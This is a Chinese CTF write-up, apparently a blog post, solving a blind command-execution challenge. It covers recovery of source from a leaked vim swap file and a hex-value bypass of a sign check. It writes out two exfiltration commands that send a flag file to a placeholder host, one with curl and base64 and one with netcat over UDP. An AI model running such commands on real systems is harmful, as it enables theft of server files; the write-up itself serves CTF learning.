标题提示blind cmd exec,意思是命令盲注,第一次遇到,右键查看下源代码
发现了一个editor=‘vim’,这个vim就是linux中的vim命令,得知是vim文件泄漏,百度了一下:
非正常关闭vi/vim编辑器时(比如关机什么的)会产生一个.swp的备份文件已备不测,如果你正常退出,那么这个文件就会被自动删除。使用vim -r (filename)就可以恢复该文件。
那么尝试一下访问.index.php.swp,成功并下载了一个文件,用上面的方法恢复一下
vim -r .index.php.swp
源码意思是先用GET传入一个sign,并放入check函数,check过了就会POST传参cmd,并执行,check失败就会输出no sign,这里可以用11259375的十六进制绕过:0xabcdef
http://8a4b5fddcb2e490a9be7f965007538368a495419d4ce4d06.changame.ichunqiu.com/?sign=0xabcdef
可以看见no sign消失了,证明绕过了check!
接下来就是post提交命令,然而blind就是blind,你输什么页面都没反应,看了wp:
源代码中有行是:
setcookie(‘auth’,‘tcp tunnel is forbidden!’);
意思是TCP被禁止,然后不能用crul
cURL是一个利用URL语法在命令行下工作的文件传输工具
cmd=data=$(cat flag233.php | base64);curl http:/xx.xx.xx.xx/?data=$data;
相当于创建了值为x.txt内容的一个变量,用$data可引用该变量,通过管道符 | 和 base64 命令,可将目标base64编码,curl 可访问目标url,这会在目标服务器留下日志。
只可惜不能用,没事还有一招:nc命令
nc的全名是netcat,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等。 nc -l 端口号 :监听一个端口号 nc -u 'ip' '端口号' < '文件名' :带着该文件访问ip:端口
先再服务器开启监听端口:
nc -l 9998
post传参给cmd
cmd=nc -u xx.xx.xx.xx 9998 < flag233.php
看一下服务器
got it!
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)